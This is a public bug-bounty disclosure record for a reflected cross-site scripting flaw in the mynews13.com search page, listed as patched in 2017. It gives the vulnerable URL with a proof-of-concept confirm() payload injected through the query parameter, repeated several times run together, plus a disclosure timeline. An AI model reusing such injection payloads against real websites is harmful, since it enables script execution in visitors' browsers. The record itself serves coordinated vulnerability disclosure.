mynews13.com XSS vulnerability

2016-02-15T08:17:00
ID OBB:134682
Type openbugbounty
Reporter Inetizen01K
Modified 2017-04-13T23:14:00

Description

Vulnerable URL:
http://www.mynews13.com/content/news/cfnews13/news/search.html?q=%27%2Bconfirm%28%2FXSSPOSED!%2F%29%2B%27http://www.mynews13.com/content/news/cfnews13/news/search.html?q=%27%2Bconfirm%28%2FXSSPOSED!%2F%29%2B%27http://www.mynews13.com/content/news/cfnews13/news/search.html?q=%27%2Bconfirm%28%2FXSSPOSED!%2F%29%2B%27http://www.mynews13.com/content/news/cfnews13/news/search.html?q=%27%2Bconfirm%28%2FXSSPOSED!%2F%29%2B%27
Details:

Description| Value
---|---
Patched:| Yes, at 13.04.2017
Latest check for patch:| 13.04.2017 09:52 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 34651
Google Pagerank| 5
VIP website status:| Yes
Check mynews13.com SSL connection:| (Grade: B)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 15 February, 2016 08:17 GMT
Generic security notifications sent to website owner| 15 February, 2016 08:19 GMT
Notification sent to subscribers (without technical details)| 15 February, 2016 10:17 GMT
Vulnerability details disclosed by researcher| 11 April, 2016 09:11 GMT
Vulnerability patched by the website owner| 13 April, 2017 23:14 GMT